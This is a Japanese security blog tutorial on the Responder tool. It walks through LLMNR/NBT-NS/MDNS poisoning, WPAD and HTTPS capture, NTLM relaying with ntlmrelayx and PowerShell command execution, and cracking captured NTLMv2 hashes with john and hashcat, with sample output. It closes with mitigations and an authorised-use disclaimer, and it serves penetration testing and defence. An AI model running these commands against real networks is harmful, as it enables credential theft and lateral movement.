内部ネットワーク評価ツール「Responder」
2025年5月9日
セキュリティエンジニアの曽我です。今回のtoolsシリーズ第5回は、内部ネットワーク評価で威力を発揮する 「Responder」について詳しく解説します。このツールは、LLMNR、NBT-NS、MDNSなどのプロトコルに対する ポイズニング攻撃を実行することで、ネットワーク上の認証情報を収集できる強力なツールです。
本記事では、Responderの基本的な使い方から実践的な活用法まで、具体的なコマンド例と出力結果を交えながら 解説します。内部ネットワーク評価やレッドチーム演習に携わるセキュリティエンジニアの方々に、ぜひ参考に していただければと思います。
目次
- Responderとは
- インストール方法
- 基本的な使い方 3.1. 基本操作 3.2. 設定ファイルのカスタマイズ 3.3. 分析モード
- 高度な使用方法 4.1. SMBリレー攻撃との連携 4.2. HTTPSサポート 4.3. WPAD攻撃
- 実践的な活用例 5.1. 内部ネットワーク診断 5.2. 収集したハッシュの解析 5.3. NTLMリレー攻撃
- 対策と緩和策
- まとめ
- 参考資料
1. Responderとは
Responderは、内部ネットワーク評価において非常に強力なツールで、Laurent Gaffié氏によって開発されました。Kali Linuxには標準で搭載されており、主に以下のプロトコルに対するポイズニング攻撃(なりすまし攻撃)を実施します:
- LLMNR (Link-Local Multicast Name Resolution)
- NBT-NS (NetBIOS Name Service)
- MDNS (Multicast DNS)
- BROWSER (Microsoft Windows Browser Protocol)
これらのプロトコルは、DNSが解決できない名前を解決するためのフォールバックメカニズムとして使用されます。Responderはこれらのリクエストに対して「私がそのサーバーです」と応答することで、クライアントをだまし、NTLMv1/v2認証ハッシュを収集します。
Responderの主な特徴:
- 複数のプロトコルに対応したマルチリスナー
- 認証ハッシュの自動キャプチャと保存
- SMBリレー攻撃との連携機能
- HTTPSサポート
- 分析モード(実際の攻撃を行わず監視のみ)
- 高度にカスタマイズ可能な設定
2. インストール方法
Kali Linuxには標準でインストールされていますが、他のディストリビューションへのインストール方法も記載します。
Debian/Ubuntuベースのシステム:
sudo apt update
sudo apt install responder
GitHubからのインストール:
git clone https://github.com/lgandx/Responder.git
cd Responder
インストールが完了したら、以下のコマンドでヘルプを確認できます:
responder -h
出力例:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
Usage: responder -I eth0 -w -r -f
Options:
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
...
3. 基本的な使い方
3.1. 基本操作
Responderを最も基本的なモードで起動するには、以下のコマンドを使用します:
sudo responder -I eth0
このコマンドは、eth0インターフェース上でResponderを起動し、対応しているすべてのプロトコルに対してポイズニング攻撃を実行します。
出力例:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.1.10]
Challenge set [random]
Don't Respond To Names ['ISATAP']
Responderが実行されると、ネットワーク上のクライアントがDNSで解決できないホスト名にアクセスしようとした際に、Responderがそのリクエストに応答します。
クライアントが認証を試みると、Responderはそれをキャプチャし、以下のような出力を表示します:
[SMB] NTLMv2-SSP Client : 192.168.1.50
[SMB] NTLMv2-SSP Username : COMPANY\jsmith
[SMB] NTLMv2-SSP Hash : jsmith::COMPANY:1122334455667788:A1B2C3D4E5F6G7H8:0101000000000...
収集されたハッシュは、/usr/share/responder/logs/
ディレクトリに保存されます。
3.2. 設定ファイルのカスタマイズ
Responderの動作は、設定ファイルを編集することでカスタマイズできます:
sudo nano /usr/share/responder/Responder.conf
主な設定項目:
- 各サーバー(SMB、HTTP、SQLなど)の有効/無効
- ポイズニングオプション
- チャレンジの設定
- 応答しないホスト名のリスト
例えば、SMBとHTTPのみを有効にし、他のサーバーを無効にするには:
[Responder Core]
; Servers to start
SQL = Off
SMB = On
HTTP = On
HTTPS = Off
FTP = Off
...
3.3. 分析モード
実際の攻撃を行わず、ネットワーク上のLLMNR、NBT-NS、MDNSリクエストを監視するには、分析モードを使用します:
sudo responder -I eth0 -A
このモードは、実際の攻撃前に環境を調査したり、非侵入的な監査を行う場合に便利です。
出力例:
[*] [LLMNR] Poisoned answer sent to 192.168.1.55 for name fileserver
[*] [NBT-NS] Poisoned answer sent to 192.168.1.60 for name printserver
[*] [MDNS] Poisoned answer sent to 192.168.1.65 for name scanner.local
4. 高度な使用方法
4.1. SMBリレー攻撃との連携
Responderは、NTLMRelayScannerおよびMultiRelayなどのツールと連携して、SMBリレー攻撃を実行できます。まず、Responderの設定でSMBとHTTPを無効にします:
sudo nano /usr/share/responder/Responder.conf
[Responder Core]
SMB = Off
HTTP = Off
次に、Responderを起動します:
sudo responder -I eth0
そして、別のターミナルでNTLMRelayXを起動します:
sudo ntlmrelayx.py -t smb://192.168.1.100 -c "powershell -enc BASE64_ENCODED_COMMAND"
これにより、ResponderがキャプチャしたNTLM認証を別のサーバーに転送(リレー)し、コマンド実行などの攻撃を行うことができます。
4.2. HTTPSサポート
HTTPSサーバーを有効にすることで、より多くの認証情報を収集できる可能性があります:
sudo responder -I eth0 --ssl
HTTPSサーバーを使用する場合、Responderは自己署名証明書を使用します。クライアントには証明書警告が表示されますが、多くのユーザーはこの警告を無視して進むことがあります。
4.3. WPAD攻撃
Web Proxy Auto-Discovery(WPAD)プロトコルを利用した攻撃を実行するには:
sudo responder -I eth0 -w
WPADは、クライアントがプロキシ設定を自動的に検出するためのプロトコルです。Responderは、WPADリクエストに応答してプロキシとしてなりすまし、認証を要求します。
5. 実践的な活用例
5.1. 内部ネットワーク診断
内部ネットワークの脆弱性評価の一環として、以下のようなステップで診断を行います:
-
分析モードでネットワークを監視し、LLMNR/NBT-NSトラフィックの有無を確認
sudo responder -I eth0 -A
-
問題のあるプロトコルを特定したら、実際のポイズニング攻撃を実行
sudo responder -I eth0
-
収集したハッシュを分析し、脆弱なパスワードを特定
sudo john /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.50.txt --wordlist=/usr/share/wordlists/rockyou.txt
5.2. 収集したハッシュの解析
Responderで収集したNTLMv2ハッシュは、John the RipperやHashcatを使用して解析できます:
# John the Ripperを使用
sudo john --format=netntlmv2 /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.50.txt
# Hashcatを使用
hashcat -m 5600 -a 0 /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.50.txt /usr/share/wordlists/rockyou.txt
解析の結果、弱いパスワードを使用しているアカウントが特定された場合、それらはセキュリティリスクとなります。
5.3. NTLMリレー攻撃
SMBリレー攻撃に対して脆弱なホストを特定するには、Impacket-ntmlrelayx.pyを使用します:
# SMB署名が無効なホストをスキャン
sudo python3 /usr/share/doc/python3-impacket/examples/runfinger.py -f targets.txt
# NTLMリレー攻撃を実行
sudo ntlmrelayx.py -tf targets.txt -smb2support
別のターミナルでResponderを起動し、SMBとHTTPを無効にしておきます:
sudo responder -I eth0
これにより、Responderがキャプチャした認証情報を、ntlmrelayx.pyが指定したターゲットにリレーします。
6. 対策と緩和策
Responderのようなツールに対する主な防御策は以下の通りです:
-
LLMNR、NBT-NSの無効化:
- グループポリシーを使用してこれらのプロトコルを無効化
- Windows:
Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution
を「有効」に設定
-
SMB署名の強制:
- すべてのWindows環境でSMB署名を必須に設定
- グループポリシー:
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Microsoft network client: Digitally sign communications (always)
を「有効」に設定
-
DNSサーバーの適切な設定:
- 内部DNSサーバーが適切に設定され、内部リソースを正しく解決できるようにする
- DNSサフィックスの設定
- DNSキャッシュの活用
-
ネットワークアクセス制御:
- 802.1x認証の実装
- ネットワークセグメンテーション
- ホストベースのファイアウォール設定
-
NTLMの使用制限:
- 可能な限りKerberosを使用
- NTLMv1の無効化
- 最終的にはNTLMの完全廃止を目指す
-
定期的なモニタリング:
- 不審なネットワークトラフィックの監視
- 認証イベントのログ分析
7. まとめ
Responderは、内部ネットワーク評価において非常に強力なツールであり、組織のセキュリティ体制の弱点を明らかにするのに役立ちます。LLMNR、NBT-NS、MDNSなどのプロトコルを悪用することで、認証情報を収集し、権限昇格やラテラルムーブメントの足がかりとすることができます。
このツールを適切に使いこなすことで、内部ネットワークの脆弱性を早期に発見し、対策を講じることができます。また、Responderが効果を発揮する環境が存在すること自体が、組織のネットワーク設計やセキュリティポリシーに改善の余地があることを示しています。
セキュリティエンジニアを目指す方は、Responderの使い方を学ぶと同時に、その対策方法も理解することが重要です。攻撃と防御の両方の視点を持つことで、より効果的なセキュリティ対策を提案・実施できるようになるでしょう。
8. 参考資料
- Responder 公式GitHub リポジトリ
- Impacket 公式GitHub リポジトリ
- Kali Linux Tools: Responder
- MITRE ATT&CK: LLMNR/NBT-NS Poisoning and SMB Relay
- Microsoft: Link-Local Multicast Name Resolution
- Microsoft: NetBIOS over TCP/IP
- BlackHat USA: NTLM Relaying and Kerberos Delegation
※本記事の内容は、教育目的および正当なセキュリティテストのためのものです。Responderの使用は、自分が所有または正当な許可を得たネットワークに限定してください。許可なく他者のネットワークに対して実行することは、法律違反となる可能性があります。必ず適切な許可を得た上で実行してください。